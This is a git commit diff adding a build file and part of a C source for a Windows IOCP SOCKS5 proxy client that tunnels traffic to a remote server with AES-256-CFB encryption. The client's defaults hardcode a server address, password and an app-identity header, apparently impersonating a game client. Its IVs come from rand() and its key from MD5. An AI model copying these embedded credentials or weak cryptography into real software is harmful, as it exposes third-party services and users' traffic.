mx init
the muxun is not operated by git,now init
This commit is contained in:
parent
7205b745be
commit
907bd5af0e
22
cpp/CMakeLists.txt
Normal file
22
cpp/CMakeLists.txt
Normal file
@ -0,0 +1,22 @@
|
||||
cmake_minimum_required(VERSION 3.20)
|
||||
project(ss_socks5_client C)
|
||||
|
||||
set(CMAKE_C_STANDARD 11)
|
||||
if (MSVC)
|
||||
add_compile_options(/O2 /GL /permissive- /Zc:inline /W4)
|
||||
add_definitions(-D_CRT_SECURE_NO_WARNINGS -D_WIN32_WINNT=0x0A00)
|
||||
else()
|
||||
add_compile_options(-O3 -march=native -DNDEBUG -Wall -Wextra)
|
||||
endif()
|
||||
|
||||
find_package(OpenSSL REQUIRED)
|
||||
find_package(PkgConfig REQUIRED)
|
||||
pkg_check_modules(LIBEVENT REQUIRED libevent)
|
||||
|
||||
add_executable(ss_socks5_client ss_socks5_client.c)
|
||||
target_include_directories(ss_socks5_client PRIVATE ${LIBEVENT_INCLUDE_DIRS})
|
||||
target_link_libraries(ss_socks5_client PRIVATE ${LIBEVENT_LIBRARIES} OpenSSL::Crypto)
|
||||
|
||||
if (WIN32)
|
||||
target_link_libraries(ss_socks5_client PRIVATE ws2_32)
|
||||
endif()
|
||||
850
cpp/iocp_s5.c
Normal file
850
cpp/iocp_s5.c
Normal file
@ -0,0 +1,850 @@
|
||||
// iocp_s5.c -- single-file, WinSock IOCP + CNG(AES-256-CFB) + DNS-over-tunnel
|
||||
// Build: cl /nologo /O2 /DNDEBUG /MT /utf-8 iocp_s5.c /link /MACHINE:X64 /OPT:REF /OPT:ICF ws2_32.lib mswsock.lib bcrypt.lib
|
||||
|
||||
#define _CRT_SECURE_NO_WARNINGS
|
||||
#include <winsock2.h>
|
||||
#include <mswsock.h>
|
||||
#include <ws2tcpip.h>
|
||||
#include <windows.h>
|
||||
#include <bcrypt.h>
|
||||
#include <stdio.h>
|
||||
#include <stdint.h>
|
||||
#include <stdbool.h>
|
||||
#include <time.h>
|
||||
|
||||
#pragma comment(lib, "ws2_32.lib")
|
||||
#pragma comment(lib, "mswsock.lib")
|
||||
#pragma comment(lib, "bcrypt.lib")
|
||||
|
||||
//===================== Config =====================
|
||||
|
||||
typedef struct {
|
||||
char remote_host[64];
|
||||
int remote_port;
|
||||
char password[64];
|
||||
char mx_head[128];
|
||||
char listen_host[32];
|
||||
int listen_port;
|
||||
int recv_buf;
|
||||
int connect_timeout_sec;
|
||||
int udp_timeout_sec;
|
||||
int verbose;
|
||||
int dns_on; // 1=enable DNS over tunnel for domain CONNECT
|
||||
} config_t;
|
||||
|
||||
static void config_default(config_t* c){
|
||||
memset(c,0,sizeof(*c));
|
||||
strcpy(c->remote_host, "121.14.152.149");
|
||||
c->remote_port = 10004;
|
||||
strcpy(c->password, "dwz1GtF7");
|
||||
strcpy(c->mx_head, "com.win64.oppc.game.common:22021709,102024080020541279");
|
||||
strcpy(c->listen_host, "0.0.0.0");
|
||||
c->listen_port = 10807;
|
||||
c->recv_buf = 8192;
|
||||
c->connect_timeout_sec = 10;
|
||||
c->udp_timeout_sec = 180;
|
||||
c->verbose = 1;
|
||||
c->dns_on = 1;
|
||||
}
|
||||
|
||||
static void parse_args(int argc, char** argv, config_t* c){
|
||||
config_default(c);
|
||||
for (int i=1;i<argc;i++){
|
||||
if (!strcmp(argv[i],"--remote-host") && i+1<argc) { strncpy(c->remote_host, argv[++i], sizeof(c->remote_host)-1); }
|
||||
else if (!strcmp(argv[i],"--remote-port") && i+1<argc) { c->remote_port = atoi(argv[++i]); }
|
||||
else if (!strcmp(argv[i],"--password") && i+1<argc) { strncpy(c->password, argv[++i], sizeof(c->password)-1); }
|
||||
else if (!strcmp(argv[i],"--mx") && i+1<argc) { strncpy(c->mx_head, argv[++i], sizeof(c->mx_head)-1); }
|
||||
else if (!strcmp(argv[i],"--listen") && i+1<argc) { strncpy(c->listen_host, argv[++i], sizeof(c->listen_host)-1); }
|
||||
else if (!strcmp(argv[i],"--port") && i+1<argc) { c->listen_port = atoi(argv[++i]); }
|
||||
else if (!strcmp(argv[i],"--recv-buf") && i+1<argc) { c->recv_buf = atoi(argv[++i]); }
|
||||
else if (!strcmp(argv[i],"--connect-timeout") && i+1<argc) { c->connect_timeout_sec = atoi(argv[++i]); }
|
||||
else if (!strcmp(argv[i],"--udp-timeout") && i+1<argc) { c->udp_timeout_sec = atoi(argv[++i]); }
|
||||
else if (!strcmp(argv[i],"--verbose") && i+1<argc) { c->verbose = atoi(argv[++i]); }
|
||||
else if (!strcmp(argv[i],"--dns-on") && i+1<argc) { c->dns_on = atoi(argv[++i]); }
|
||||
}
|
||||
}
|
||||
|
||||
//===================== Log =====================
|
||||
|
||||
static DWORD g_main_tid = 0;
|
||||
static int g_verbose = 1;
|
||||
|
||||
static uint64_t now_ms(){
|
||||
FILETIME ft; GetSystemTimeAsFileTime(&ft);
|
||||
ULARGE_INTEGER u; u.LowPart=ft.dwLowDateTime; u.HighPart=ft.dwHighDateTime;
|
||||
return (u.QuadPart/10000ULL);
|
||||
}
|
||||
static void logv(char lv, const char* fmt, ...){
|
||||
if (lv=='D' && !g_verbose) return;
|
||||
va_list ap; va_start(ap, fmt);
|
||||
SYSTEMTIME st; GetLocalTime(&st);
|
||||
DWORD tid = GetCurrentThreadId();
|
||||
char buf[1024];
|
||||
int n = vsnprintf(buf,sizeof(buf),fmt,ap);
|
||||
va_end(ap);
|
||||
if (n<0) n=0; if (n> (int)sizeof(buf)-1) n=(int)sizeof(buf)-1;
|
||||
printf("[%02d:%02d:%02d.%03d][%c][T%u] %s\n",
|
||||
st.wHour,st.wMinute,st.wSecond,st.wMilliseconds, lv, (unsigned)tid, buf);
|
||||
fflush(stdout);
|
||||
}
|
||||
|
||||
//===================== Helpers =====================
|
||||
|
||||
static bool resolve_host_port(const char* host, uint16_t port, struct sockaddr_storage* ss, int* slen){
|
||||
struct addrinfo hints = {0}, *res=NULL;
|
||||
char pbuf[8]; _snprintf_s(pbuf, sizeof(pbuf), _TRUNCATE, "%u", (unsigned)port);
|
||||
hints.ai_family = AF_UNSPEC; hints.ai_socktype = SOCK_STREAM;
|
||||
if (getaddrinfo(host,pbuf,&hints,&res)!=0 || !res){
|
||||
if (res) freeaddrinfo(res);
|
||||
return false;
|
||||
}
|
||||
memcpy(ss, res->ai_addr, res->ai_addrlen);
|
||||
*slen = (int)res->ai_addrlen;
|
||||
freeaddrinfo(res);
|
||||
return true;
|
||||
}
|
||||
|
||||
static int host_literal_ip(const char* host, uint8_t* packed16, size_t* plen){
|
||||
struct in_addr a4; struct in6_addr a6;
|
||||
if (InetPtonA(AF_INET, host, &a4)==1){ memcpy(packed16,&a4,4); *plen=4; return AF_INET; }
|
||||
if (InetPtonA(AF_INET6, host, &a6)==1){ memcpy(packed16,&a6,16); *plen=16; return AF_INET6; }
|
||||
return 0;
|
||||
}
|
||||
|
||||
//===================== KDF: EVP_BytesToKey(md5) 32B =====================
|
||||
|
||||
static bool md5_once(const uint8_t* in, DWORD inlen, uint8_t out16[16]){
|
||||
BCRYPT_ALG_HANDLE hAlg=NULL; BCRYPT_HASH_HANDLE hHash=NULL;
|
||||
NTSTATUS s=BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_MD5_ALGORITHM, NULL, 0); if (s) return false;
|
||||
s=BCryptCreateHash(hAlg, &hHash, NULL, 0, NULL, 0, 0); if (s){ BCryptCloseAlgorithmProvider(hAlg,0); return false; }
|
||||
s=BCryptHashData(hHash, (PUCHAR)in, inlen, 0); if (s){ BCryptDestroyHash(hHash); BCryptCloseAlgorithmProvider(hAlg,0); return false; }
|
||||
s=BCryptFinishHash(hHash, out16, 16, 0);
|
||||
BCryptDestroyHash(hHash); BCryptCloseAlgorithmProvider(hAlg,0);
|
||||
return s==0;
|
||||
}
|
||||
static bool kdf_key32_from_password(const char* pw, uint8_t out32[32]){
|
||||
uint8_t h1[16], h2[16];
|
||||
if (!md5_once((const uint8_t*)pw, (DWORD)strlen(pw), h1)) return false;
|
||||
uint8_t tmp[16+64]; memcpy(tmp,h1,16); memcpy(tmp+16,pw,strlen(pw));
|
||||
if (!md5_once(tmp, (DWORD)(16+strlen(pw)), h2)) return false;
|
||||
memcpy(out32,h1,16); memcpy(out32+16,h2,16);
|
||||
return true;
|
||||
}
|
||||
|
||||
//===================== AES-256-CFB via CNG =====================
|
||||
|
||||
typedef struct {
|
||||
BCRYPT_ALG_HANDLE hAlg;
|
||||
BCRYPT_KEY_HANDLE hKey;
|
||||
uint8_t iv[16]; // updated in place per call
|
||||
uint8_t key[32];
|
||||
BOOL is_enc; // 1=encrypt, 0=decrypt
|
||||
BOOL init_ok;
|
||||
} cfb_ctx_t;
|
||||
|
||||
static bool cfb_init(cfb_ctx_t* c, const uint8_t key[32], const uint8_t iv16[16], BOOL enc){
|
||||
memset(c,0,sizeof(*c));
|
||||
memcpy(c->key, key, 32);
|
||||
memcpy(c->iv, iv16, 16);
|
||||
c->is_enc = enc;
|
||||
|
||||
NTSTATUS s=BCryptOpenAlgorithmProvider(&c->hAlg, BCRYPT_AES_ALGORITHM, NULL, 0);
|
||||
if (s){ logv('E',"BCryptOpenAlgorithmProvider AES failed: 0x%08X", s); return false; }
|
||||
|
||||
s=BCryptSetProperty(c->hAlg, BCRYPT_CHAINING_MODE, (PUCHAR)BCRYPT_CHAIN_MODE_CFB, (ULONG)sizeof(BCRYPT_CHAIN_MODE_CFB), 0);
|
||||
if (s){ logv('E',"Set ChainingModeCFB failed: 0x%08X", s); BCryptCloseAlgorithmProvider(c->hAlg,0); return false; }
|
||||
|
||||
s=BCryptGenerateSymmetricKey(c->hAlg, &c->hKey, NULL, 0, (PUCHAR)c->key, 32, 0);
|
||||
if (s){ logv('E',"GenerateSymmetricKey failed: 0x%08X", s); BCryptCloseAlgorithmProvider(c->hAlg,0); return false; }
|
||||
|
||||
c->init_ok = TRUE;
|
||||
return true;
|
||||
}
|
||||
static void cfb_free(cfb_ctx_t* c){
|
||||
if (c->hKey){ BCryptDestroyKey(c->hKey); c->hKey=NULL; }
|
||||
if (c->hAlg){ BCryptCloseAlgorithmProvider(c->hAlg,0); c->hAlg=NULL; }
|
||||
c->init_ok=FALSE;
|
||||
}
|
||||
|
||||
// in==out allowed? 为安全起见用不同 buffer(上层已分配)
|
||||
static bool cfb_update(cfb_ctx_t* c, const uint8_t* in, DWORD inlen, uint8_t* out, DWORD* outlen){
|
||||
if (!c->init_ok) return false;
|
||||
ULONG cb=0; NTSTATUS s;
|
||||
if (c->is_enc)
|
||||
s=BCryptEncrypt(c->hKey,(PUCHAR)in,inlen,NULL,(PUCHAR)c->iv,16,(PUCHAR)out,inlen,&cb,0);
|
||||
else
|
||||
s=BCryptDecrypt(c->hKey,(PUCHAR)in,inlen,NULL,(PUCHAR)c->iv,16,(PUCHAR)out,inlen,&cb,0);
|
||||
if (s){ logv('E',"CFB update failed 0x%08X", s); return false; }
|
||||
*outlen = cb;
|
||||
return true;
|
||||
}
|
||||
|
||||
//===================== DNS minimal =====================
|
||||
|
||||
static int dns_build_query_a(const char* host, uint8_t* out, size_t cap, size_t* outlen){
|
||||
if (!host || !out || cap<12) return -1;
|
||||
uint16_t id = (uint16_t)rand();
|
||||
size_t off=0;
|
||||
if (cap<12) return -1;
|
||||
*(uint16_t*)(out+off) = htons(id); off+=2;
|
||||
*(uint16_t*)(out+off) = htons(0x0100); off+=2; // rd
|
||||
*(uint16_t*)(out+off) = htons(1); off+=2; // qdcount
|
||||
*(uint16_t*)(out+off) = 0; off+=2; // an
|
||||
*(uint16_t*)(out+off) = 0; off+=2; // ns
|
||||
*(uint16_t*)(out+off) = 0; off+=2; // ar
|
||||
// qname
|
||||
const char* p=host;
|
||||
while (*p){
|
||||
const char* dot = strchr(p,'.');
|
||||
size_t lab = dot ? (size_t)(dot-p) : strlen(p);
|
||||
if (lab==0 || lab>63) return -1;
|
||||
if (off+1+lab>=cap) return -1;
|
||||
out[off++] = (uint8_t)lab;
|
||||
memcpy(out+off, p, lab); off+=lab;
|
||||
if (!dot) break;
|
||||
p = dot+1;
|
||||
}
|
||||
if (off+1+4>cap) return -1;
|
||||
out[off++] = 0;
|
||||
*(uint16_t*)(out+off) = htons(1); off+=2; // QTYPE A
|
||||
*(uint16_t*)(out+off) = htons(1); off+=2; // QCLASS IN
|
||||
*outlen = off;
|
||||
return 0;
|
||||
}
|
||||
static int dns_skip_name(const uint8_t* b,size_t len,size_t* off){
|
||||
size_t i=*off;
|
||||
while (i<len){
|
||||
uint8_t c=b[i++];
|
||||
if ((c&0xC0)==0xC0){ if (i>=len) return -1; i++; break; }
|
||||
else if (c==0){ break; }
|
||||
else { if (i+c>len) return -1; i+=c; }
|
||||
}
|
||||
*off=i; return 0;
|
||||
}
|
||||
static int dns_parse_a_ip(const uint8_t* b,size_t len,char ip[16]){
|
||||
if (len<12) return -1;
|
||||
uint16_t qd = ntohs(*(uint16_t*)(b+4));
|
||||
uint16_t an = ntohs(*(uint16_t*)(b+6));
|
||||
size_t off=12;
|
||||
for (uint16_t i=0;i<qd;i++){ if (dns_skip_name(b,len,&off)) return -1; if (off+4>len) return -1; off+=4; }
|
||||
for (uint16_t i=0;i<an;i++){
|
||||
if (dns_skip_name(b,len,&off)) return -1;
|
||||
if (off+10>len) return -1;
|
||||
uint16_t type = ntohs(*(uint16_t*)(b+off)); off+=2;
|
||||
uint16_t cls = ntohs(*(uint16_t*)(b+off)); off+=2;
|
||||
off+=4; // ttl
|
||||
uint16_t rdlen= ntohs(*(uint16_t*)(b+off)); off+=2;
|
||||
if (off+rdlen>len) return -1;
|
||||
if (type==1 && cls==1 && rdlen==4){
|
||||
const struct in_addr* a4=(const struct in_addr*)(b+off);
|
||||
inet_ntop(AF_INET, a4, ip, 16);
|
||||
return 0;
|
||||
}
|
||||
off+=rdlen;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
//===================== protocol: encode_addr =====================
|
||||
// tcp=true : first byte 'a'(0x61)/'c'(0x63)/'d'(0x64)
|
||||
// tcp=false: first byte 0x01/0x03/0x04
|
||||
static size_t encode_addr_block(bool tcp, uint8_t atyp, const char* host, uint16_t port, uint8_t* out, size_t cap){
|
||||
uint8_t* p=out; size_t left=cap;
|
||||
uint8_t packed[16]; size_t plen=0;
|
||||
int afip = host_literal_ip(host,packed,&plen);
|
||||
|
||||
if (tcp){
|
||||
if (afip==AF_INET && atyp==0x01){ if (left<1+4+2) return 0; *p++=0x61; memcpy(p,packed,4); p+=4; }
|
||||
else if (afip==AF_INET6 && atyp==0x04){ if (left<1+16+2) return 0; *p++=0x64; memcpy(p,packed,16); p+=16; }
|
||||
else if (atyp==0x03){
|
||||
size_t L=strlen(host); if (L>255) return 0;
|
||||
if (left<1+1+L+2) return 0;
|
||||
*p++=0x63; *p++=(uint8_t)L; memcpy(p,host,L); p+=L;
|
||||
} else return 0;
|
||||
}else{
|
||||
if (afip==AF_INET && atyp==0x01){ if (left<1+4+2) return 0; *p++=0x01; memcpy(p,packed,4); p+=4; }
|
||||
else if (afip==AF_INET6 && atyp==0x04){ if (left<1+16+2) return 0; *p++=0x04; memcpy(p,packed,16); p+=16; }
|
||||
else if (atyp==0x03){
|
||||
size_t L=strlen(host); if (L>255) return 0;
|
||||
if (left<1+1+L+2) return 0;
|
||||
*p++=0x03; *p++=(uint8_t)L; memcpy(p,host,L); p+=L;
|
||||
} else return 0;
|
||||
}
|
||||
uint16_t np = htons(port);
|
||||
memcpy(p,&np,2); p+=2;
|
||||
return (size_t)(p - out);
|
||||
}
|
||||
|
||||
//===================== IOCP Types =====================
|
||||
|
||||
typedef enum { OP_NONE=0, OP_CLI_RECV, OP_CLI_SEND, OP_SRV_RECV, OP_SRV_SEND, OP_CONNECT } opkind_t;
|
||||
|
||||
typedef struct iocp_op_s {
|
||||
OVERLAPPED ov;
|
||||
WSABUF buf;
|
||||
opkind_t kind;
|
||||
char storage[1]; // flexible for debugging
|
||||
} iocp_op_t;
|
||||
|
||||
static iocp_op_t* op_alloc(opkind_t k, DWORD cap){
|
||||
iocp_op_t* op = (iocp_op_t*)calloc(1, sizeof(iocp_op_t) + (cap?cap-1:0));
|
||||
op->kind = k; op->buf.buf = cap? op->storage : NULL; op->buf.len = cap;
|
||||
return op;
|
||||
}
|
||||
static void op_free(iocp_op_t* op){ free(op); }
|
||||
|
||||
//===================== Bridge =====================
|
||||
|
||||
typedef struct {
|
||||
SOCKET s_cli, s_srv;
|
||||
HANDLE iocp;
|
||||
config_t* cfg;
|
||||
|
||||
// ConnectEx
|
||||
LPFN_CONNECTEX pConnectEx;
|
||||
|
||||
// state
|
||||
enum { ST_GREETING=0, ST_REQUEST=1, ST_CONNECTING=2, ST_STREAM=3, ST_CLOSED=4 } st;
|
||||
|
||||
// SOCKS5 request
|
||||
uint8_t req_cmd, req_atyp;
|
||||
char req_host[128];
|
||||
uint16_t req_port;
|
||||
|
||||
// crypto
|
||||
uint8_t key32[32];
|
||||
uint8_t iv_up[16]; // client->server: sent once at beginning
|
||||
cfb_ctx_t c_up; // encryptor (iv_up evolves in place)
|
||||
BOOL up_inited;
|
||||
uint8_t iv_dn[16]; // server->client: received once from remote
|
||||
size_t ivdn_have; // bytes collected for dn iv
|
||||
cfb_ctx_t c_dn; // decryptor
|
||||
BOOL dn_inited;
|
||||
|
||||
LONG pending_ops; // refcnt-like
|
||||
BOOL closing;
|
||||
|
||||
// buffers
|
||||
DWORD recv_cap;
|
||||
|
||||
} bridge_t;
|
||||
|
||||
static void bridge_start_close(bridge_t* b);
|
||||
|
||||
//============= small utils =============
|
||||
|
||||
static void rand_bytes(uint8_t* p, size_t n){
|
||||
for (size_t i=0;i<n;i++) p[i] = (uint8_t)(rand() & 0xFF);
|
||||
}
|
||||
|
||||
static bool s5_greeting(uint8_t* in, DWORD inlen, DWORD* consumed){
|
||||
if (inlen<2) return false;
|
||||
if (in[0]!=5) return false;
|
||||
DWORD need = 2 + in[1];
|
||||
if (inlen<need) return false;
|
||||
*consumed = need;
|
||||
return true;
|
||||
}
|
||||
static int s5_parse_request(uint8_t* in, DWORD inlen, uint8_t* pcmd, uint8_t* patyp, char* host, uint16_t* pport, DWORD* consumed){
|
||||
if (inlen<4 || in[0]!=5) return 0;
|
||||
DWORD off=4;
|
||||
*pcmd = in[1]; *patyp=in[3];
|
||||
if (*patyp==0x01){
|
||||
if (inlen<off+4+2) return 0;
|
||||
char ip[16]; InetNtopA(AF_INET, in+off, ip, sizeof(ip));
|
||||
strncpy(host, ip, 127); host[127]=0;
|
||||
off+=4; *pport = ntohs(*(uint16_t*)(in+off)); off+=2;
|
||||
}else if (*patyp==0x03){
|
||||
if (inlen<off+1) return 0;
|
||||
uint8_t L = in[off++]; if (inlen<off+L+2) return 0;
|
||||
size_t cp = L>127?127:L; memcpy(host,in+off,cp); host[cp]=0;
|
||||
off+=L; *pport = ntohs(*(uint16_t*)(in+off)); off+=2;
|
||||
}else if (*patyp==0x04){
|
||||
if (inlen<off+16+2) return 0;
|
||||
char ip6[64]; InetNtopA(AF_INET6, in+off, ip6, sizeof(ip6));
|
||||
strncpy(host, ip6, 127); host[127]=0;
|
||||
off+=16; *pport = ntohs(*(uint16_t*)(in+off)); off+=2;
|
||||
}else return -1;
|
||||
*consumed=off; return 1;
|
||||
}
|
||||
static void s5_reply(SOCKET s, uint8_t rep, const char* bind_host, uint16_t bind_port){
|
||||
uint8_t out[4+1+255+2]; uint8_t* p=out;
|
||||
*p++=5; *p++=rep; *p++=0; // RSV
|
||||
uint8_t ipbuf[16]; size_t plen=0; int af=host_literal_ip(bind_host, ipbuf, &plen);
|
||||
if (af==AF_INET){ *p++=0x01; memcpy(p,ipbuf,4); p+=4; }
|
||||
else if (af==AF_INET6){ *p++=0x04; memcpy(p,ipbuf,16); p+=16; }
|
||||
else{ size_t L=strlen(bind_host); if (L>255) L=255; *p++=0x03; *p++=(uint8_t)L; memcpy(p,bind_host,L); p+=L; }
|
||||
uint16_t np = htons(bind_port); memcpy(p,&np,2); p+=2;
|
||||
DWORD sent=0; WSASend(s, (WSABUF*)&(WSABUF){ .buf=(CHAR*)out, .len=(ULONG)(p-out) }, 1, &sent, 0, NULL, NULL);
|
||||
}
|
||||
|
||||
//===================== GQCS loop =====================
|
||||
|
||||
typedef struct {
|
||||
HANDLE iocp;
|
||||
config_t* cfg;
|
||||
} worker_arg_t;
|
||||
|
||||
static void post_recv(bridge_t* b, SOCKET s, opkind_t kind){
|
||||
iocp_op_t* op=op_alloc(kind, b->recv_cap);
|
||||
InterlockedIncrement(&b->pending_ops);
|
||||
DWORD fl=0; DWORD recvd=0;
|
||||
int rc = WSARecv(s, &op->buf, 1, &recvd, &fl, &op->ov, NULL);
|
||||
if (rc==SOCKET_ERROR){
|
||||
int e=WSAGetLastError();
|
||||
if (e!=WSA_IO_PENDING){
|
||||
logv('E',"WSARecv immediate fail e=%d", e);
|
||||
InterlockedDecrement(&b->pending_ops);
|
||||
op_free(op);
|
||||
bridge_start_close(b);
|
||||
}else{
|
||||
if (g_verbose) logv('D',"post RECV kind=%d cap=%u (pending_ops=%ld)", kind, op->buf.len, b->pending_ops);
|
||||
}
|
||||
}
|
||||
}
|
||||
static void post_send(bridge_t* b, SOCKET s, const void* data, DWORD len, opkind_t kind){
|
||||
iocp_op_t* op=op_alloc(kind, len);
|
||||
memcpy(op->buf.buf, data, len);
|
||||
op->buf.len=len;
|
||||
InterlockedIncrement(&b->pending_ops);
|
||||
DWORD sent=0;
|
||||
int rc=WSASend(s, &op->buf, 1, &sent, 0, &op->ov, NULL);
|
||||
if (rc==SOCKET_ERROR){
|
||||
int e=WSAGetLastError();
|
||||
if (e!=WSA_IO_PENDING){
|
||||
logv('E',"WSASend immediate fail e=%d", e);
|
||||
InterlockedDecrement(&b->pending_ops);
|
||||
op_free(op);
|
||||
bridge_start_close(b);
|
||||
}else{
|
||||
if (g_verbose) logv('D',"post SEND kind=%d len=%u (pending_ops=%ld)", kind, len, b->pending_ops);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static void after_remote_connected(bridge_t* b){
|
||||
// 1) 生成上行IV并初始化加密流
|
||||
rand_bytes(b->iv_up, 16);
|
||||
if (!cfb_init(&b->c_up, b->key32, b->iv_up, TRUE)){ bridge_start_close(b); return; }
|
||||
b->up_inited=TRUE;
|
||||
|
||||
// 2) 组首包:encode_addr(tcp=true) + MX
|
||||
uint8_t addr[256]; size_t alen = encode_addr_block(true, b->req_atyp, b->req_host, b->req_port, addr, sizeof(addr));
|
||||
if (!alen){ logv('E',"encode_addr(tcp) failed"); bridge_start_close(b); return; }
|
||||
|
||||
size_t mxL = strlen(b->cfg->mx_head); if (mxL>255) mxL=255;
|
||||
uint8_t plain[256+1+255]; memcpy(plain, addr, alen); plain[alen]=(uint8_t)mxL; memcpy(plain+alen+1, b->cfg->mx_head, mxL);
|
||||
DWORD plain_len = (DWORD)(alen + 1 + mxL);
|
||||
|
||||
// 3) 加密首包(不含 IV)
|
||||
uint8_t ct[512]; DWORD ctlen=0;
|
||||
if (!cfb_update(&b->c_up, plain, plain_len, ct, &ctlen)){ bridge_start_close(b); return; }
|
||||
|
||||
// 4) 发送:IV + CT
|
||||
uint8_t out[16+512]; memcpy(out, b->iv_up, 16); memcpy(out+16, ct, ctlen);
|
||||
post_send(b, b->s_srv, out, 16+ctlen, OP_SRV_SEND);
|
||||
|
||||
// 5) 给客户端回复 OK,并进入流转发
|
||||
s5_reply(b->s_cli, 0x00, "0.0.0.0", 0);
|
||||
b->st = ST_STREAM;
|
||||
|
||||
// 6) 分别贴上读取
|
||||
post_recv(b, b->s_cli, OP_CLI_RECV);
|
||||
post_recv(b, b->s_srv, OP_SRV_RECV);
|
||||
|
||||
logv('I',"enter STREAM (+posted cli/srv recv)");
|
||||
}
|
||||
|
||||
//===================== DNS over tunnel (UDP) =====================
|
||||
|
||||
static bool dns_over_tunnel_query(const config_t* cfg, const uint8_t key32[32], const char* host, char out_ip[16]){
|
||||
// 明文: encode_addr(tcp=false) to 8.8.8.8:53 + DNS query
|
||||
uint8_t addr[64]; size_t alen = encode_addr_block(false, 0x01, "8.8.8.8", 53, addr, sizeof(addr));
|
||||
if (!alen) return false;
|
||||
|
||||
uint8_t q[512]; size_t qlen=0;
|
||||
if (dns_build_query_a(host, q, sizeof(q), &qlen)!=0) return false;
|
||||
|
||||
uint8_t plain[800]; if (alen+qlen>sizeof(plain)) return false;
|
||||
memcpy(plain, addr, alen); memcpy(plain+alen, q, qlen);
|
||||
uint8_t iv[16]; rand_bytes(iv,16);
|
||||
cfb_ctx_t enc; if (!cfb_init(&enc, key32, iv, TRUE)) return false;
|
||||
uint8_t ct[800]; DWORD ctlen=0;
|
||||
bool ok = cfb_update(&enc, plain, (DWORD)(alen+qlen), ct, &ctlen);
|
||||
cfb_free(&enc); if (!ok) return false;
|
||||
|
||||
uint8_t out[16+800]; memcpy(out, iv,16); memcpy(out+16, ct, ctlen);
|
||||
// UDP sendto
|
||||
SOCKET su = WSASocket(AF_INET, SOCK_DGRAM, IPPROTO_UDP, NULL,0,0);
|
||||
if (su==INVALID_SOCKET) return false;
|
||||
|
||||
struct sockaddr_storage rs; int rslen=0;
|
||||
if (!resolve_host_port(cfg->remote_host, (uint16_t)cfg->remote_port, &rs, &rslen)){ closesocket(su); return false; }
|
||||
|
||||
DWORD to=2000; setsockopt(su, SOL_SOCKET, SO_RCVTIMEO, (const char*)&to, sizeof(to));
|
||||
|
||||
int sn = sendto(su, (const char*)out, (int)(16+ctlen), 0, (struct sockaddr*)&rs, rslen);
|
||||
if (sn<=0){ closesocket(su); return false; }
|
||||
|
||||
uint8_t buf[1200];
|
||||
struct sockaddr_storage from; int fromlen=sizeof(from);
|
||||
int rn = recvfrom(su, (char*)buf, sizeof(buf), 0, (struct sockaddr*)&from, &fromlen);
|
||||
closesocket(su);
|
||||
if (rn<16) return false;
|
||||
|
||||
cfb_ctx_t dec; if (!cfb_init(&dec, key32, buf, FALSE)) return false;
|
||||
uint8_t plain2[1200]; DWORD p2=0;
|
||||
ok = cfb_update(&dec, buf+16, rn-16, plain2, &p2);
|
||||
cfb_free(&dec);
|
||||
if (!ok || p2==0) return false;
|
||||
|
||||
// 跳过 addr 块
|
||||
size_t off=0;
|
||||
uint8_t first = plain2[0];
|
||||
if (first==0x01){ off = 1+4+2; }
|
||||
else if (first==0x03){ if (p2<2) return false; uint8_t L=plain2[1]; off = 1+1+L+2; if (off>p2) return false; }
|
||||
else if (first==0x04){ off = 1+16+2; }
|
||||
else return false;
|
||||
if (off>=p2) return false;
|
||||
|
||||
return dns_parse_a_ip(plain2+off, p2-off, out_ip)==0;
|
||||
}
|
||||
|
||||
//===================== ConnectEx helper =====================
|
||||
|
||||
static bool load_connectex(SOCKET s, LPFN_CONNECTEX* pOut){
|
||||
GUID g = WSAID_CONNECTEX; DWORD bytes=0;
|
||||
int rc = WSAIoctl(s, SIO_GET_EXTENSION_FUNCTION_POINTER, &g, sizeof(g), pOut, sizeof(*pOut), &bytes, NULL, NULL);
|
||||
return rc==0 && *pOut!=NULL;
|
||||
}
|
||||
static bool bridge_connect_remote(bridge_t* b){
|
||||
// 建 srv socket & 绑定本地
|
||||
b->s_srv = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, WSA_FLAG_OVERLAPPED);
|
||||
if (b->s_srv==INVALID_SOCKET){ logv('E',"WSASocket srv fail %d", WSAGetLastError()); return false; }
|
||||
CreateIoCompletionPort((HANDLE)b->s_srv, b->iocp, (ULONG_PTR)b, 0);
|
||||
|
||||
SOCKADDR_STORAGE local; int llen=0;
|
||||
// 绑定任意本地
|
||||
struct sockaddr_in sin={0}; sin.sin_family=AF_INET; sin.sin_addr.s_addr=0; sin.sin_port=0;
|
||||
if (bind(b->s_srv, (struct sockaddr*)&sin, sizeof(sin))!=0){
|
||||
logv('E',"bind srv fail %d", WSAGetLastError()); return false;
|
||||
}
|
||||
|
||||
if (!load_connectex(b->s_srv, &b->pConnectEx)){ logv('E',"load ConnectEx fail"); return false; }
|
||||
|
||||
SOCKADDR_STORAGE rs; int rslen=0;
|
||||
if (!resolve_host_port(b->cfg->remote_host, (uint16_t)b->cfg->remote_port, &rs, &rslen)){
|
||||
logv('E',"resolve remote fail");
|
||||
return false;
|
||||
}
|
||||
|
||||
iocp_op_t* op = op_alloc(OP_CONNECT, 0);
|
||||
InterlockedIncrement(&b->pending_ops);
|
||||
|
||||
BOOL ok = b->pConnectEx(b->s_srv, (SOCKADDR*)&rs, rslen, NULL, 0, NULL, &op->ov);
|
||||
if (!ok){
|
||||
int e=WSAGetLastError();
|
||||
if (e!=ERROR_IO_PENDING){
|
||||
logv('E',"ConnectEx immediate fail %d", e);
|
||||
InterlockedDecrement(&b->pending_ops);
|
||||
op_free(op);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
logv('I',"ConnectEx to remote server %s:%d", b->cfg->remote_host, b->cfg->remote_port);
|
||||
return true;
|
||||
}
|
||||
|
||||
//===================== Close =====================
|
||||
|
||||
static void bridge_free(bridge_t* b){
|
||||
if (!b) return;
|
||||
if (b->s_cli!=INVALID_SOCKET){ closesocket(b->s_cli); b->s_cli=INVALID_SOCKET; }
|
||||
if (b->s_srv!=INVALID_SOCKET){ closesocket(b->s_srv); b->s_srv=INVALID_SOCKET; }
|
||||
if (b->up_inited){ cfb_free(&b->c_up); b->up_inited=FALSE; }
|
||||
if (b->dn_inited){ cfb_free(&b->c_dn); b->dn_inited=FALSE; }
|
||||
free(b);
|
||||
}
|
||||
static void bridge_start_close(bridge_t* b){
|
||||
if (b->closing) return;
|
||||
b->closing=TRUE;
|
||||
